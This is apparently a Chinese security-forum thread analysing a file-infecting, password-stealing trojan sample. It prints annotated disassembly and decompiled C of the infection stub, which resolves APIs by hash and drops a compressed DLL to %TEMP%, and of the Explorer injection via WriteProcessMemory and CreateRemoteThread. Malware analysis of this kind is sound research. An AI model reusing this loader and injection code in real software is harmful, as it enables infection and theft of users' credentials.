吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 14858|回复: 29
收起左侧

[PC样本分析] 某个病毒分析

  [复制链接]
孤独浪子 发表于 2012-2-7 20:53
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 孤独浪子 于 2012-2-7 21:05 编辑

病毒样本.rar (191.39 KB, 下载次数: 65) 公司给我发了个病毒让我分析分析,这应该是一盗号木马。它会感染exe可执行文件,被感染的文件会被增加一个区段,被感染的程序入口点代码被修改,会执行一段特定的代码,并释放一个随机命名的dll到Temp目录并加载,然后执行此dll的一个导出函数。此病毒分析分为2部分,第一部分讲解被感染的程序的执行流程,第二部分讲解dll里面的逻辑。病毒分析
第一部分·被感染程序的执行流程
先看下被感染的程序的区段信息,多个一个uuu9区段,如下图所示:
[被感染的程序区段信息]
1.jpg
感染前的区段信息
2.jpg
发现除了多了一个区段外,还把.text区段的属性给改了, 增加了一个可写属性.
新区段的大小为0x2000, 刚好是8K,查一下文件属性,也恰好大了8K。
【入口点】 分析:
0040990F > $  60            pushad                      ;保存现场
00409910   .  8BEC         mov     ebp, esp
00409912   .  83EC 4C      sub     esp, 4C
00409915   .  8BFC         mov     edi, esp       ;保存新esp
00409917   .  E9 D2010000   jmp     00409AEE      ;这个jmp跳到后面 一个地方 然后又call了回来 应该是为了获得call函数下条指令的地址吧 
0040991C   $  5E            pop     esi                 ;保存call 下条指令的地址, esi = 00409AEE+5 = 00409af3
0040991D   .  57            push    edi                 ;新esp入栈
0040991E   .  B9 4C000000   mov     ecx, 4C
00409923   .  F3:A4         rep     movs byte ptr es:[edi], byte ptr [esi] ;把00409af3 处代码拷贝到堆栈 拷贝0x4c 个字节,这4c个字节的数据是作者精心构造的数据,后面获得一些api地址 都用到了这些数据
00409925   .  5E            pop     esi           ;esi = 新的esp地址
00409926   .  8BFE          mov     edi, esi   ;edi恢复为新esp地址
00409928   .  64:A1 3000000>mov     eax, dword ptr fs:[30] ;这段代码好熟悉呀! 获得Kernel基址 不分析了。都快用烂了
0040992E   .  8B40 0C       mov     eax, dword ptr [eax+C]
00409931   .  8B40 0C       mov     eax, dword ptr [eax+C]
00409934   .  8B00          mov     eax, dword ptr [eax]
00409936   .  8B58 18       mov     ebx, dword ptr [eax+18]
00409939   .  53            push    ebx                                       ;  把ntdll的基址入栈
0040993A   .  8B00          mov     eax, dword ptr [eax]
0040993C   .  8B58 18       mov     ebx, dword ptr [eax+18]                   ;  ebx = kernel32.dll基址
0040993F   .  6A 0E         push    0E                                        ; 这地方会获得 14个函数地址:LoadLibraryA GetProcessAddress VirtualAlloc VirtualFree GetModuleHandleA SetErrorMode OpenMutexA CloseHandle ExitProcess ExpandEnvironmentStringsA _lcreat _lwrite _lclose GetTickCount,至于为什么 要分析 00409AA9 这个函数,很精彩的一个函数
00409941   .  59            pop     ecx                                       ;  ecx = 0x0e 循环14次
00409942   >  E8 62010000   call    00409AA9                                  ;此call非常精彩 后面有分析
00409947   .  83C7 04       add     edi, 4                                     ;调整堆栈指针
0040994A   .^ E2 F6         loopd   short 00409942
0040994C   .  5B            pop     ebx                                       ;  把ntdll基址出栈到ebx
0040994D   .  E8 57010000   call    00409AA9                             ;此处是为了获得 ntdll.RtlDecompressBuffer
00409952   .  E8 07000000   call    0040995E                                  ;PUSH  "user32" 这是一个小技巧,                   把call分解成push 00409957, jmp 0040995E来理解,本病毒利用了好多此这样的技巧来把字符串压栈
00409957   .  75 73 65 72 3>ascii   "user32",0
0040995E   >  FF16          call    dword ptr [esi]                           ;  LoadLibrary "user32.dll"
00409960   .  85C0          test    eax, eax
00409962   .  74 7E         je      short 004099E2
00409964   .  93            xchg    eax, ebx              ; 非常巧妙的交换后  ebx=user32基址  eax=ntdll基址
00409965   .  83C7 04       add     edi, 4
00409968   .  E8 3C010000   call    00409AA9            ;为了获得user32.wsprintfA
0040996D   .  E8 0C000000   call    0040997E                                  ;  PUSH ASCII "Yamamoto_56"
00409972   .  59 61 6D 61 6>ascii   "Yamamoto_56",0
0040997E   >  33C0          xor     eax, eax
00409980   .  50            push    eax                                       ;  push 0
00409981   .  40            inc     eax
00409982   .  50            push    eax                                       ;  push 1
00409983   .  FF56 18       call    dword ptr [esi+18]                        ;  OpenMutexA(1, 0, "Yamamoto_56")
00409986   .  85C0          test    eax, eax                                  ;  这里就是查一下是否这个互斥量已经存在了如果存在了就跳到004099E6, 关闭handle 然后跳到00409991处继续执行 。
00409988   .  75 5C         jnz     short 004099E6
0040998A   .  60            pushad
0040998B   .  E8 5C000000   call    004099EC                                  ;  一个重要的call,后面有分析
00409990   .  61            popad
00409991   >  33FF          xor     edi, edi
00409993   .  6A 40         push    40                                        ;  40
00409995   .  B8 00100000   mov     eax, 1000
0040999A   .  50            push    eax                                       ;  1000
0040999B   .  50            push    eax                                       ;  1000
0040999C   .  57            push    edi                                       ;  0
0040999D   .  FF56 08       call    dword ptr [esi+8]                         ;  VirtualAlloc,申请空间
004099A0   .  85C0          test    eax, eax
004099A2   .  74 3E         je      short 004099E2
004099A4   .  93            xchg    eax, ebx                                  ;  ebx = new出来的新地址
004099A5   .  57            push    edi
004099A6   .  FF56 10       call    dword ptr [esi+10]                        ;  GetModuleHandle
004099A9   .  92            xchg    eax, edx                                  ;  edx  = exe模块的handle
004099AA   .  56            push    esi                                       ;  esi = 那个奇怪的堆栈
004099AB   .  EB 25         jmp     short 004099D2           ;  跳走了 又call回来是为了获得一个地址 
                                                        这个地址就是004099d7
004099AD   $  5E            pop     esi                                    ; pop到esi, esi = 004099d7
004099AE   .  8BFB          mov     edi, ebx                                  ;  edi = new出来的新地址
004099B0   .  B9 0B000000   mov     ecx, 0B                                   ;  ecx = 11
004099B5   .  F3:A4         rep     movs byte ptr es:[edi], byte ptr [esi]    ;  拷贝11字节到 new出来的地址,也就是拷贝                                                004099d7开始的 5 条汇编指令, 这5条汇编指令的意义 一会在说
004099B7   .  5E            pop     esi
004099B8   .  8BFA          mov     edi, edx                                  ;  edi exe模块地址
004099BA   .  037E 48       add     edi, dword ptr [esi+48]                   ;  edi = 入口点地址
004099BD   .  0356 40       add     edx, dword ptr [esi+40]                   ;  edx = uuu9区段的首地址
004099C0   .  87F2          xchg    edx, esi                                  ;  esi = 入口点地址
004099C2   .  B9 30020000   mov     ecx, 230                                  ;  拷贝0x230个字节
004099C7   .  8BC3          mov     eax, ebx                                  ;  eax = new出来的那个地址
004099C9   .  05 06000000   add     eax, 6                                    ;  eax += 6
004099CE   .  8938          mov     dword ptr [eax], edi                      ;  入口点地址给[eax],这个是修改 那11                                                                     个字节里面的一个地址,使其跳到入口点
004099D0   .  FFE3          jmp     ebx                                       ;  跳到 new的数据里面 执行,他里面是堆栈数据,堆栈数据非常简单
004099D2   >  E8 D6FFFFFF   call    004099AD
004099D7   .  F3:A4         rep     movs byte ptr es:[edi], byte ptr [esi]
004099D9   .  8BE5          mov     esp, ebp
004099DB   .  61            popad
004099DC   .  68 CCCCCCCC   push    CCCCCCCC
004099E1   .  C3            retn

【004099d0处堆栈数据分析】:
//堆栈数据执行,下面解释拷贝的那5条指令的意义
ecx = 0x230
esi = uuu9区段首地址
edi = 入口点地址
功能描述:执行这么一个拷贝动作,恢复入口点数据,恢复寄存器,跳到原始的入口点,程序就能正常运行起来了
00940000    F3:A4           rep     movs byte ptr es:[edi], byte ptr [esi]
00940002    8BE5            mov     esp, ebp
00940004    61              popad
00940005    68 0F994000     push    aaa.<模块入口点> ;这两句话相当于jmp 入口点,程序就正常的跑起来了
0094000A    C3              retn


【00409aa9函数】分析:
本是寄存器传参,shellcode果然很灵活多变
ebx 是dll基址  
edi 是一个in out型的堆栈地址
功能描述:
从dll基址获得所有的dll导出函数的名字,然后根据名字字符串做一个简单的运算, 比较运算结果是否等于 dword ptr [edi],如果相等就把这个函数的地址放到 dword ptr[edi],然后返回。因此此函数可以通过事先算出某个函数的值,获得此函数地址。隐蔽性和防免杀效果防静态反汇编效果都很好。

00409AA9  /$  60            pushad                      ;保存现场
00409AAA  |.  8BEB          mov     ebp, ebx                            ;  ebx = kernel32基址
00409AAC  |.  8B75 3C       mov     esi, dword ptr [ebp+3C]             ;  取IMAGE_DOS_HEADER的最后一个变量 即IMAGE_NT_HEADER的偏移
00409AAF  |.  8B7435 78     mov     esi, dword ptr [ebp+esi+78]
00409AB3  |.  03F5          add     esi, ebp
00409AB5  |.  56            push    esi                                 ;  kernel32的导出表地址
00409AB6  |.  8B76 20       mov     esi, dword ptr [esi+20]             ;  得到IMAGE_EXPORT_DIRECTORY 的 AddressOfNames变量 即函数名称地址表RVA
00409AB9  |.  03F5          add     esi, ebp                            ;  加上kernel32基址
00409ABB  |.  33C9          xor     ecx, ecx                            ;  ecx = 0
00409ABD  |.  49            dec     ecx                                 ;  减一是为了后面的数组以0开始计算
00409ABE  |>  41            inc     ecx
00409ABF  |.  AD            lods    dword ptr [esi]                     ;  eax = 一个函数地址
00409AC0  |.  03C5          add     eax, ebp                            ;  eax = 加上基址,指向一个函数名字符串
00409AC2  |.  33DB          xor     ebx, ebx                            ;  ebx=0
00409AC4  |>  0FBE10        /movsx   edx, byte ptr [eax]                ;  取函数名的第一个字母,符号扩展
00409AC7  |$  38F2          |cmp     dl, dh
00409AC9  |.  74 08         |je      short 00409AD3                     ;  如果字符串结束了  就跳走。
00409ACB  |.  C1CB 0D       |ror     ebx, 0D
00409ACE  |.  03DA          |add     ebx, edx                           ;  ebx += edx
00409AD0  |.  40            |inc     eax                                ;  字符串++
00409AD1  |.^ EB F1         \jmp     short 00409AC4
00409AD3  |>  3B1F          cmp     ebx, dword ptr [edi]                ;  如果不等于堆栈里的那个值 就跳走
00409AD5  |.^ 75 E7         jnz     short 00409ABE                      ;  最终发现  其实就是为了找某个函数的地址序号,应该是为了免杀吧  搞的如此复杂
00409AD7  |.  5E            pop     esi                                 ;  kernel32的导出表地址 放到esi里面
00409AD8  |.  8B5E 24       mov     ebx, dword ptr [esi+24]             ;  得到IMAGE_EXPORT_DIRECTORY 的 AddressOfOrdinals变量 即函数序号地址RVA
00409ADB  |.  03DD          add     ebx, ebp                            ;  加上基址
00409ADD  |.  66:8B0C4B     mov     cx, word ptr [ebx+ecx*2]            ;  每个序号占2个字节 所以要乘以2
00409AE1  |.  8B5E 1C       mov     ebx, dword ptr [esi+1C]             ;  得到IMAGE_EXPORT_DIRECTORY 的 AddressOfFunctions变量 即导出函数地址表的RVA
00409AE4  |.  03DD          add     ebx, ebp                            ;  加上基址
00409AE6  |.  8B048B        mov     eax, dword ptr [ebx+ecx*4]          ;  没个地址占4个字节 所以要加4
00409AE9  |.  03C5          add     eax, ebp                            ;  加上基址,eax就是真实函数地址了
00409AEB  |.  AB            stos    dword ptr es:[edi]                  ;  把eax 放到[edi]存着
00409AEC  |.  61            popad
00409AED  \.  C3            retn 

【004099ec函数】分析:
//此函数没有参数
功能描述:
①用GetTickCount获得一个随机数。
②用wsprintf和①获得到的随机数拼出一个形如"%TEMP%29740046.dll"的字符串.
③用ExpandEnvironmentStringsA和②获得的字符串,获得形如"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"     的字符串路径。关于ExpandEnvironmentStringsA的用法 MSND上有介绍。
④用VirtualAlloc申请0x40000(256K)字节空间
⑤用Ntdll.RtlDecompressBuffer函数将.uuu9区段的0x230(内存地址00437230)开始的0x1986个字节进行解压, 解     压到④申请的那片空间里,解压得到一个dll, dll大小为0x2400.
  (关于Ntdll.RtlDecompressBuffer函数参考:http://hi.baidu.com/blueapple_c/blog/item/cd388002b34ffa96d43f7c8a.html )
⑥将解压得到的dll数据保存到3获得的那个全路径文件里。
⑦LoadLibrary这个dll, 然后GetProceAddress序号为5的那个函数地址,然后调用之。

004099EC       $  55                push    ebp
004099ED       .  8BEC              mov     ebp, esp
004099EF       .  81C4 D8FEFFFF     add     esp, -128
004099F5       .  FF56 34           call    dword ptr [esi+34]
004099F8       .  50                push    eax
004099F9       .  E8 10000000       call    00409A0E                            ;  PUSH ASCII "%%TEMP%%\%u.dll"
004099FE       .  25 25 54 45 4D 50>ascii   "%%TEMP%%\%u.dll",0
00409A0E       >  8D9D D8FEFFFF     lea     ebx, dword ptr [ebp-128]
00409A14        53                  push    ebx
00409A15        FF56 3C             call    dword ptr [esi+3C]
00409A18        83C4 0C             add     esp, 0C
00409A1B        68 04010000         push    104
00409A20      |.  8DBD F8FEFFFF     lea     edi, dword ptr [ebp-108]
00409A26      |.  57                push    edi
00409A27      |.  53                push    ebx
00409A28        FF56 24             call    dword ptr [esi+24]           ; 调用ExpandEnvironmentStringsA
00409A2B        33FF                xor     edi, edi                     ; filename 0012FE28 "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"
00409A2D        47                  inc     edi
00409A2E        FF56 14             call    dword ptr [esi+14]           ; SetErrorMode(1)
00409A31        4F                  dec     edi
00409A32        6A 04               push    4                            ; 4
00409A34        B8 00100000         mov     eax, 1000
00409A39        50                  push    eax                          ; 0x1000
00409A3A        C1E0 06             shl     eax, 6
00409A3D        50                  push    eax                          ; 0x40000
00409A3E        57                  push    edi                          ; 0
00409A3F        FF56 08             call    dword ptr [esi+8]            ; VirtualAlloc 申请256KB大小内存
00409A42        85C0                test    eax, eax
00409A44        74 61               je      short 00409AA7
00409A46        93                  xchg    eax, ebx                     ; ebx=new出来的新地址
00409A47        57                  push    edi                          ; push 0
00409A48        FF56 10             call    dword ptr [esi+10]           ; GetModuleHandle 得到eax=004000000
00409A4B        8D55 FC             lea     edx, dword ptr [ebp-4]
00409A4E        52                  push    edx                          ; push 0012FF2C
00409A4F        FF76 44             push    dword ptr [esi+44]           ; push 1986
00409A52        05 30020000         add     eax, 230
00409A57        0346 40             add     eax, dword ptr [esi+40]      ; 加上 .uuu9区段的大小
00409A5A        50                  push    eax                          ; 00437230
00409A5B        47                  inc     edi
00409A5C        C1E7 10             shl     edi, 10
00409A5F        57                  push    edi                          ; push 0x10000
00409A60        53                  push    ebx                          ; ebx 是new出来的新地址
00409A61        68 02010000         push    102                          ; push 102
00409A66        FF56 38             call    dword ptr [esi+38]           ; RtlDecompressBuffer
00409A69        33D2                xor     edx, edx                     ; 大小0x2400,得到一个完整的dll 然后后面就是写文件了
00409A6B        52                  push    edx                          ; push 0
00409A6C        8DBD F8FEFFFF       lea     edi, dword ptr [ebp-108]
00409A72        57                  push    edi                          ; push "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"
00409A73        FF56 28             call    dword ptr [esi+28]           ; kernel._lcreat
00409A76        40                  inc     eax                          ; 加1
00409A77        85C0                test    eax, eax
00409A79        74 2C               je      short 00409AA7
00409A7B        48                  dec     eax                          ; 减一,我可以认为作者有病么?
00409A7C        57                  push    edi                          ; push "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"
00409A7D        97                  xchg    eax, edi                     ; edi = 句柄
00409A7E        FF75 FC             push    dword ptr [ebp-4]            ; push 大小0x002400
00409A81        53                  push    ebx                          ; push RtlDecompressBuffer解压缩后的地址
00409A82        57                  push    edi                          ; 文件句柄
00409A83        FF56 2C             call    dword ptr [esi+2C]           ; kernel32._lwrite
00409A86        57                  push    edi                          ; push 句柄
00409A87        FF56 30             call    dword ptr [esi+30]           ; kernel32._lclose 好了 现在你可以去目录那个地方去把dll文件拷贝出来分析了
00409A8A        68 00800000         push    8000                         ; push 8000
00409A8F        6A 00               push    0                            ; push 0
00409A91        53                  push    ebx                          ; push RtlDecompressBuffer解压缩后的地址
00409A92        FF56 0C             call    dword ptr [esi+C]            ; VirtualFree
00409A95        FF16                call    dword ptr [esi]              ; LoadLibraryA 这个dll ,注意字符串的push 是在 00409a7c
00409A97        85C0                test    eax, eax
00409A99        74 0C               je      short 00409AA7
00409A9B        6A 05               push    5
00409A9D        50                  push    eax
00409A9E        FF56 04             call    dword ptr [esi+4]            ; GetProcAddress 序号为5的函数地址
00409AA1        85C0                test    eax, eax
00409AA3        74 02               je      short 00409AA7
00409AA5        FFD0                call    eax                          ; 调用dll的函数地址,
00409AA7        C9                  leave
00409AA8        C3                  retn 

流程图描述:
3.jpg
第二部分·DLL的执行流程
首先看看LoadLibrary加载这个dll后调用的序号为5的那个函数干了些什么
【DLL序号5的函数】 分析:

由于内容比较多,接着看3楼




免费评分

参与人数 2威望 +1 热心值 +2 收起 理由
hs258 + 1 用心讨论,共获提升!
是昔流芳 + 1 + 1 精品文章!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

强攻 发表于 2014-8-26 02:14
孤独浪子 发表于 2012-2-7 21:00
【注入Explorer后远程线程】分析:调试方法:先把代码停在下面这句10002362    50              push    eax ...

很详细的教程
 楼主| 孤独浪子 发表于 2012-2-7 21:00
//本函数无参数
//功能描述:获取Explorer进程PID,调用sub_1000225c函数。
1000241E E8 A1FFFFFF call 100023C4 ; 获取Explorer的进程ID
10002423 85C0 test eax, eax ;判断是否获得成功
10002425 75 06 jnz short 1000242D
10002427 FF15 50100010 call dword ptr [10001050] ; 如果获取失败了 就GetCurrentProcessId
1000242D FF35 04260010 push dword ptr [10002604] ; push 本dll句柄 ,是一个全局变量 
10002433 50 push eax ; push 进程ID
10002434 E8 23FEFFFF call 1000225C ; 重要call,这里完成一些注入的动作
10002439 59 pop ecx
1000243A 59 pop ecx
1000243B C3 retn

【函数 sub_100023c4】 分析:
//获得Explorer进程ID, 方法不是枚举进程名,挺有创意的方法
//功能描述:获得Explorer进程的PID
int __cdecl sub_100023C4()
{
HMODULE v0; // eax@1
HMODULE v1; // edi@1
FARPROC v2; // eax@2
FARPROC v3; // ebx@2
FARPROC v4; // esi@2
int v5; // eax@4
int result; // eax@5
int v7; // [sp+Ch] [bp-4h]@5

v0 = LoadLibraryA("user32");
v1 = v0;
if ( v0
&& (v3 = GetProcAddress(v0, "FindWindowA"), v2 = GetProcAddress(v1, "GetWindowThreadProcessId"), v4 = v2, v3)
&& v2
&& (v5 = ((int (__stdcall *)(_DWORD, _DWORD))v3)("Shell_TrayWnd", 0)) != 0 ) //调用FindWindowA获得Explorer 进程的托盘窗体的句柄
{
((void (__stdcall *)(int, int *))v4)(v5, &v7); //调用GetWindowThreadProcessId 获得Explorer进程ID 
result = v7;
}
else
{
result = 0;
}
return result;
} 

【函数 sub_1000225c】分析:
//此函数原型是 int __cdecal sub_1000225c(DWORD dwProcessID, HMODULE hDllMod);
//功能描述:
①根据传进来的进程ID打开进程
②根据传进来的dll基址,获得敏感函数地址,这里是获得CreateRemoteThread函数
1000225C 55 push ebp
1000225D 8BEC mov ebp, esp
1000225F B8 10100000 mov eax, 1010
10002264 E8 F7010000 call 10002460 ; 这是个申请栈空间的函数,编译器给加的,eax传参,可以理解为 sub esp,0x1010
10002269 53 push ebx
1000226A FF75 08 push dword ptr [ebp+8] ; push &ProcessHandle
1000226D 33DB xor ebx, ebx
1000226F 53 push ebx ; push 0
10002270 68 FF0F1F00 push 1F0FFF ; push PROCESS_ALL_ACCESS
10002275 895D F8 mov dword ptr [ebp-8], ebx
10002278 FF15 7C100010 call dword ptr [1000107C] ; kernel32.OpenProcess
1000227E 3BC3 cmp eax, ebx
10002280 8945 FC mov dword ptr [ebp-4], eax
10002283 0F84 35010000 je 100023BE ; 打开失败就跳走了
10002289 56 push esi
1000228A 68 44130010 push 10001344 ; ASCII "kernel32"
1000228F FF15 28100010 call dword ptr [10001028] ; kernel32.GetModuleHandleA
10002295 8BF0 mov esi, eax ; esi = Kernel32 ModuleHandle
10002297 68 108C80FF push FF808C10
1000229C 56 push esi
1000229D E8 8FF1FFFF call 10001431 ; 很精彩的函数,见后面的分析
100022A2 3BC3 cmp eax, ebx
100022A4 8945 F0 mov dword ptr [ebp-10], eax
100022A7 0F84 07010000 je 100023B4
100022AD A1 24100010 mov eax, dword ptr [10001024] ; eax = ExitThread地址
100022B2 8985 04F8FFFF mov dword ptr [ebp-7FC], eax
100022B8 A1 84100010 mov eax, dword ptr [10001084] ; eax = FreeLibrary地址
100022BD 8985 F4F7FFFF mov dword ptr [ebp-80C], eax
100022C3 A1 4C100010 mov eax, dword ptr [1000104C] ; eax = IsBadReadPtr地址
100022C8 57 push edi
100022C9 8985 F8F7FFFF mov dword ptr [ebp-808], eax
100022CF A1 8C100010 mov eax, dword ptr [1000108C] ; eax = LoadLibraryA地址
100022D4 68 7C130010 push 1000137C ; push "RtlMoveMemory"
100022D9 56 push esi ; push Kernel基址
100022DA 8985 F0F7FFFF mov dword ptr [ebp-810], eax
100022E0 FF15 80100010 call dword ptr [10001080] ; 获取 kernel32.RtlMoveMemory地址
100022E6 8985 08F8FFFF mov dword ptr [ebp-7F8], eax
100022EC A1 9C100010 mov eax, dword ptr [1000109C] ; eax = VirtualAlloc地址
100022F1 8985 FCF7FFFF mov dword ptr [ebp-804], eax
100022F7 A1 90100010 mov eax, dword ptr [10001090] ; eax = VirtualFree
100022FC 8985 00F8FFFF mov dword ptr [ebp-800], eax
10002302 B8 A4210010 mov eax, 100021A4 ; eax = 100021a4函数地址
10002307 2B45 0C sub eax, dword ptr [ebp+C] ; eax -= 本dll模块基址
1000230A 68 04010000 push 104
1000230F 8985 0CF8FFFF mov dword ptr [ebp-7F4], eax
10002315 8D85 10F8FFFF lea eax, dword ptr [ebp-7F0]
1000231B 50 push eax ; 栈空间
1000231C FF75 0C push dword ptr [ebp+C] ; push 本dll模块基址
1000231F FF15 54100010 call dword ptr [10001054] ; GetModuleFileNameA 获得dll全路径
10002325 68 00080000 push 800
1000232A 8D85 F0EFFFFF lea eax, dword ptr [ebp-1010]
10002330 68 C9210010 push 100021C9 ; 函数地址 100021c9入栈
10002335 50 push eax
10002336 E8 11010000 call 1000244C ; memcpy 从100021c9拷贝0x800字节到 堆栈中
1000233B 83C4 0C add esp, 0C
1000233E 6A 40 push 40 ; push 0x40
10002340 BE 00100000 mov esi, 1000
10002345 56 push esi ; push 0x1000
10002346 56 push esi ; push 0x1000
10002347 53 push ebx ; push 0
10002348 FF75 FC push dword ptr [ebp-4] ; Explorer 进程句柄
1000234B FF15 68100010 call dword ptr [10001068] ; kernel32.VirtualAllocEx
10002351 8BF8 mov edi, eax ; edi = 新申请的空间 02cd0000
10002353 3BFB cmp edi, ebx
10002355 74 5C je short 100023B3
10002357 8D45 F4 lea eax, dword ptr [ebp-C]
1000235A 50 push eax ; push 堆栈地址
1000235B 56 push esi ; push 0x1000
1000235C 8D85 F0EFFFFF lea eax, dword ptr [ebp-1010]
10002362 50 push eax ; 要写入的内存 100021c9函数的内存
10002363 57 push edi ; 新申请的内存地址 = 02cd0000
10002364 FF75 FC push dword ptr [ebp-4] ; Explorer进程句柄
10002367 FF15 6C100010 call dword ptr [1000106C] ; WriteProcessMemory写到Explorer进程空间,这里写入了0x1000个字节,除去之前拷贝的0x800,多拷贝的0x200的堆栈数据,这0x200的数据刚好是前面保存的一些api函数地址数组
1000236D 85C0 test eax, eax
1000236F 74 42 je short 100023B3
10002371 8D45 F4 lea eax, dword ptr [ebp-C]
10002374 50 push eax ; &TheadID
10002375 53 push ebx ; dwCreationFlags = 0
10002376 8D87 00080000 lea eax, dword ptr [edi+800]
1000237C 50 push eax ; 参数是 远程线程地址+0x800
1000237D 57 push edi ; 远程线程地址,就是前面VirtualAllocEx的地址 02cd0000
1000237E 53 push ebx ; 默认堆栈大小 = 0
1000237F 53 push ebx ; LPSECURITY_ATTRIBUTES = 0
10002380 FF75 FC push dword ptr [ebp-4] ; Explorer进程句柄
10002383 FF55 F0 call dword ptr [ebp-10] ; 创建远程线程,然后下面的就是一些资源清理就不先管了
10002386 8BF0 mov esi, eax
10002388 3BF3 cmp esi, ebx
1000238A 74 17 je short 100023A3
1000238C 6A FF push -1
1000238E 56 push esi
1000238F FF15 48100010 call dword ptr [10001048] ; kernel32.WaitForSingleObject
10002395 56 push esi
10002396 FF15 94100010 call dword ptr [10001094] ; kernel32.CloseHandle
1000239C C745 F8 0100000>mov dword ptr [ebp-8], 1
100023A3 68 00800000 push 8000
100023A8 53 push ebx
100023A9 57 push edi
100023AA FF75 FC push dword ptr [ebp-4]
100023AD FF15 44100010 call dword ptr [10001044] ; kernel32.VirtualFreeEx
100023B3 5F pop edi
100023B4 FF75 FC push dword ptr [ebp-4]
100023B7 FF15 94100010 call dword ptr [10001094] ; kernel32.CloseHandle
100023BD 5E pop esi
100023BE 8B45 F8 mov eax, dword ptr [ebp-8]
100023C1 5B pop ebx
100023C2 C9 leave
100023C3 C3 retn



【函数 sub_10001431】分析:
//参数a1; Dll模块基址,比如通过GetModuleHandle("kernel32")获得的Kernel32的基址,
//参数a2: 一个数字
//功能:通过a1 查找出本dll所有的导出函数名,取函数名的CRC值 与 a2比较,如果相等就返回此函数地址
int __stdcall sub_10001431(int a1, int a2)
{
int v2; // esi@1
int result; // eax@2
int v4; // ebx@3
int v5; // edi@3
int v6; // eax@3
int v7; // eax@3
int v8; // [sp+4h] [bp-8h]@3
unsigned int v9; // [sp+8h] [bp-4h]@3
unsigned int v10; // [sp+14h] [bp+8h]@3

v2 = a1;
if ( a1 )
{
v6 = *(_DWORD *)(*(_DWORD *)(a1 + 60) + a1 + 120);
v10 = 0;
v7 = v2 + v6;
v5 = v2 + *(_DWORD *)(v7 + 32);
v4 = v2 + *(_DWORD *)(v7 + 28);
v8 = v2 + *(_DWORD *)(v7 + 36);
v9 = *(_DWORD *)(v7 + 24);
if ( v9 )
{
while ( sub_100013F9(v2 + *(_DWORD *)(v5 + 4 * v10)) != a2 ) //sub_100013F9函数就计算一个字符串的CRC, 一个参数,这里就不分析此函数了
{
++v10;
if ( v10 >= v9 )
goto LABEL_6;
}
result = v2 + *(_DWORD *)(v4 + 4 * *(_WORD *)(v8 + 2 * v10));
}
else
{
LABEL_6:
result = 0;
}
}
else
{
result = 0;
}
return result;
}
【注入Explorer后远程线程】分析:
调试方法:
先把代码停在下面这句
10002362    50              push    eax                           
然后 d eax
4.jpg
刚好是dll!10021c9函数的代码
然后 d eax+0x800
5.jpg
从上到下从左到右依次是函数:
LoadLibraryA, FreeLibrary, IsBadReadPtr, VirtualAlloc,VirtualFree,ExitThread,RtlMoveMemory的地址
因此WriteProcessMemory并不是简单把dll!100021c9处的0x800个字节拷贝的自己的进程空间,0x800后面的一些是远程线程的参数,参数也不止这几个函数地址,其实还有dll的全路径
再把代码停在下面这句
10002383    FF55 F0         call    dword ptr [ebp-10]            ; 创建远程线程
然后,用OD 附加到Explorer进程上去,然后看一下地址02cd0000,发现刚好是我们拷贝过去的dll!100021c9函数的内容,在这里下个断点 bp 02cd0000,先不要跑起来,先看看02cd0800处的参数是不是跟上面一样
d 02cd0000
6.jpg
d 02cd0000+0x800
7.jpg

参数不光这几个api地址,还有dll全路径。
现在把dll跑起来,发现被附加的Explorer进程断下来了,停在02cd0000处
【功能描述】:
此函数是一个远程线程函数, 参数就是本函数地址+0x800
①LoadLibraryA上面分析的dll, LoadLibraryA的地址就藏在+0x800后面的地址,dll全路径也是
②根据PE格式和dll基址, 计算本dll的镜像大小,VirtualAlloc申请这么大一片内存
③拷贝整个dll镜像(dll基址开始的镜像大小个字节)到新申请的内存
④FreeLibrary释放dll
⑤继续以释放的dll基址为起始地址 VirtualAlloc申请同样大小的内存
⑥拷贝第一次申请的内存的数据到第二次申请的内存数据
⑦执行一个dll函数,虽然此时dll已经被释放了,数据在内存里,找到那个地址,执行之。
⑧释放第一次申请的内存数据,清理资源,远程线程结束。
End:精彩之处在于差不多dll模块信息,但是可以调用dll函数,重定位等工作loadlibrary已经帮你完成了,精彩!
02CD0000 55 push ebp
02CD0001 8BEC mov ebp, esp
02CD0003 51 push ecx
02CD0004 56 push esi
02CD0005 8B75 08 mov esi, dword ptr [ebp+8] ; esi = 本线程的参数
02CD0008 57 push edi
02CD0009 8D46 20 lea eax, dword ptr [esi+20] ; eax = 那个dll的全路径地址
02CD000C 50 push eax
02CD000D FF16 call dword ptr [esi] ; LoadLibraryA(dll全路径)
02CD000F 8BF8 mov edi, eax ; edi 新加载的dll基地址
02CD0011 85FF test edi, edi
02CD0013 74 73 je short 02CD0088
02CD0015 8B47 3C mov eax, dword ptr [edi+3C] ; 取dll 的PE头偏移, 
0x3c是IMAGE_DOS_HEADER 的e_lfanew变量的偏 移
02CD0018 8365 08 00 and dword ptr [ebp+8], 0
02CD001C 53 push ebx ; ebx = 本线程的参数, 我不清楚这地方是怎么传给ebx的
02CD001D 8B5C38 50 mov ebx, dword ptr [eax+edi+50] ; ebx = 0x4000 dll的镜像大小, IMAGE_NT_HEADERS + 0x50 刚好是 IMAGE_OPTIONAL_HEADER.SizeOfImage,即镜像大小
02CD0021 53 push ebx
02CD0022 57 push edi ; dll基址
02CD0023 FF56 08 call dword ptr [esi+8] ; IsBadReadPtr判断下dll的整个镜像是否可读
02CD0026 85C0 test eax, eax
02CD0028 75 24 jnz short 02CD004E
02CD002A 8B46 1C mov eax, dword ptr [esi+1C] ; eax = 0x21a4, 这是远程线程传过来的参数
02CD002D 03C7 add eax, edi ; 加上dll基地址
02CD002F 8945 FC mov dword ptr [ebp-4], eax
02CD0032 74 1A je short 02CD004E
02CD0034 6A 04 push 4
02CD0036 68 00100000 push 1000
02CD003B 53 push ebx ; 0x4000
02CD003C 6A 00 push 0
02CD003E FF56 0C call dword ptr [esi+C] ; VirtualAlloc,申请dll镜像大小的内存
